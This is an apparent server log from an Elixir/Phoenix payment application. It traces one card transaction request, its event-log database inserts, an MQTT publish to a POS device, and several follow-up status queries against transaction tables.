INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 150, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch385254010714", external_ref_number_2: "8693698735", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98250623730001"}}, "Initiate Card Txn Request", "ch385254010714", ~U[2026-09-03 12:34:02Z], 35, "initiate_card_txn_request", ~N[2026-09-03 12:34:02], ~N[2026-09-03 12:34:02]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:34:02.746000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53050] Successfully created custom event log with ID: 40212
[Thu Sep  3 12:34:02.749000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53050] Handling card transaction:
- Reference: ch385254010714
- Amount: 150
- Params: %{"accountLabel" => "", "amount" => "150", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch385254010714", "externalRefNumber2" => "8693698735", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Thu Sep  3 12:34:02.753000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53050] QUERY OK source="users" db=4.2ms idle=1701.1ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:34:02.756000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53050] QUERY OK source="custom_events" db=2.2ms idle=1705.5ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:34:02.756000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53050] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch385254010714"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788438842,
  device_id: "98250623730001",
  amount: 150
}

[Thu Sep  3 12:34:02.758000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53050] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788438842,
    device_id: "98250623730001",
    amount: 150
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch385254010714",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:34:02.758830Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Thu Sep  3 12:34:02.759000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:53050] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788438842, device_id: "98250623730001", amount: 150}, event_name: "Response From Device Online Status", refrence_id: "ch385254010714", transaction_id: nil, date_added: ~U[2026-09-03 12:34:02.758830Z], event_id: 36, event_value: "response_from_device_online_status"}
[Thu Sep  3 12:34:02.807000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53050] QUERY OK db=46.8ms queue=0.9ms idle=840.6ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788438842, device_id: "98250623730001", amount: 150}, "Response From Device Online Status", "ch385254010714", ~U[2026-09-03 12:34:02Z], 36, "response_from_device_online_status", ~N[2026-09-03 12:34:02], ~N[2026-09-03 12:34:02]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:34:02.807000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53050] Successfully created custom event log with ID: 40213
[Thu Sep  3 12:34:02.807000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53050] Publish payload 98250623730001: "{\"type\":\"card\",\"request_id\":\"ch385254010714\",\"amount\":15000,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Thu Sep  3 12:34:02.859000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53050] QUERY OK db=47.2ms queue=4.4ms idle=758.4ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "150", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch385254010714", "externalRefNumber2" => "8693698735", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_b60fa766d399@mercurypay.in", "98250623730001", "ch385254010714", 4, Decimal.new("150"), %{}, "1", ~N[2026-09-03 12:34:02], ~N[2026-09-03 12:34:02]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Thu Sep  3 12:34:02.863000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53050] QUERY OK source="users" db=3.6ms idle=809.9ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:34:02.865000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53050] QUERY OK source="custom_events" db=1.5ms idle=453.2ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:34:02.866000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53050] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch385254010714"
Payload: %{
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
  ts: 1788438842,
  qos: 1,
  device_id: "98250623730001",
  amount: 150
}

[Thu Sep  3 12:34:02.866000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53050] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
    ts: 1788438842,
    qos: 1,
    device_id: "98250623730001",
    amount: 150
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch385254010714",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:34:02.866225Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Thu Sep  3 12:34:02.869000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:53050] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788438842, qos: 1, device_id: "98250623730001", amount: 150}, event_name: "Request For Publish Txn", refrence_id: "ch385254010714", transaction_id: nil, date_added: ~U[2026-09-03 12:34:02.866225Z], event_id: 37, event_value: "request_for_publish_txn"}
[Thu Sep  3 12:34:02.913000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53050] QUERY OK db=42.2ms idle=375.0ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788438842, qos: 1, device_id: "98250623730001", amount: 150}, "Request For Publish Txn", "ch385254010714", ~U[2026-09-03 12:34:02Z], 37, "request_for_publish_txn", ~N[2026-09-03 12:34:02], ~N[2026-09-03 12:34:02]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:34:02.913000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53050] Successfully created custom event log with ID: 40214
[Thu Sep  3 12:34:02.913000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53050] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98250623730001/update with ref: #Reference<0.2525715032.1094189058.149357>
[Thu Sep  3 12:34:02.913000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53050] Published successfully to topic2: ota/pos/12345678/98250623730001/sub with ref: #Reference<0.2525715032.1094189058.149363>
[Thu Sep  3 12:34:02.918000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53050] QUERY OK source="users" db=0.9ms queue=0.1ms idle=235.6ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:34:02.922000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53050] QUERY OK source="custom_events" db=1.2ms queue=1.8ms idle=233.9ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:34:02.922000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53050] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch385254010714"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
  ts: 1788438842,
  device_id: "98250623730001",
  amount: 150
}

[Thu Sep  3 12:34:02.926000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53050] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
    ts: 1788438842,
    device_id: "98250623730001",
    amount: 150
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch385254010714",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:34:02.922438Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Thu Sep  3 12:34:02.926000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:53050] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788438842, device_id: "98250623730001", amount: 150}, event_name: "Response From Publish Txn", refrence_id: "ch385254010714", transaction_id: nil, date_added: ~U[2026-09-03 12:34:02.922438Z], event_id: 38, event_value: "response_from_publish_txn"}
[Thu Sep  3 12:34:03.000000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53050] QUERY OK db=69.5ms queue=3.6ms idle=173.5ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788438842, device_id: "98250623730001", amount: 150}, "Response From Publish Txn", "ch385254010714", ~U[2026-09-03 12:34:02Z], 38, "response_from_publish_txn", ~N[2026-09-03 12:34:02], ~N[2026-09-03 12:34:02]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:34:03.000000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53050] Successfully created custom event log with ID: 40215
[Thu Sep  3 12:34:03.000000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53050] Publish successful to 98250623730001 with ref: #Reference<0.2525715032.1094189058.149363>
[Thu Sep  3 12:34:03.002000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:53050] Sent 200 in 325ms
[Thu Sep  3 12:34:09.085000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:49024] POST /api/device/status
[Thu Sep  3 12:34:09.085000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:49024] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch385254010714", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:34:09.085000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:49024] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch385254010714", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:34:09.086000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:49024] Transaction reference number: "ch385254010714"
[Thu Sep  3 12:34:09.106000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49024] QUERY OK source="pos_transaction" db=19.6ms idle=1038.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch385254010714"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:34:09.107000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49024] QUERY OK source="pos_temp_transaction" db=1.4ms idle=1058.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch385254010714"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:34:09.111000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49024] QUERY OK source="pos_failed_transaction" db=3.5ms idle=1059.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch385254010714"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:34:09.113000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49024] QUERY OK source="cloud_transaction" db=1.8ms idle=1063.6ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch385254010714"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:34:09.114000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:49024] Sent 200 in 28ms
[Thu Sep  3 12:34:13.620000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:49028] POST /api/device/status
[Thu Sep  3 12:34:13.620000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:49028] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch385254010714", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:34:13.620000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:49028] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch385254010714", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:34:13.620000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:49028] Transaction reference number: "ch385254010714"
[Thu Sep  3 12:34:13.635000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49028] QUERY OK source="pos_transaction" db=14.2ms queue=0.1ms idle=1573.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch385254010714"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:34:13.636000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49028] QUERY OK source="pos_temp_transaction" db=0.5ms idle=1587.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch385254010714"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:34:13.641000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49028] QUERY OK source="pos_failed_transaction" db=4.2ms idle=661.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch385254010714"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:34:13.642000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49028] QUERY OK source="cloud_transaction" db=1.1ms idle=593.3ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch385254010714"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:34:13.642000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:49028] Sent 200 in 22ms
[Thu Sep  3 12:34:18.601000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:40216] POST /api/device/status
[Thu Sep  3 12:34:18.602000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:40216] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch385254010714", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:34:18.602000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40216] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch385254010714", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:34:18.602000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40216] Transaction reference number: "ch385254010714"
[Thu Sep  3 12:34:18.618000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40216] QUERY OK source="pos_transaction" db=15.3ms idle=1554.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch385254010714"]
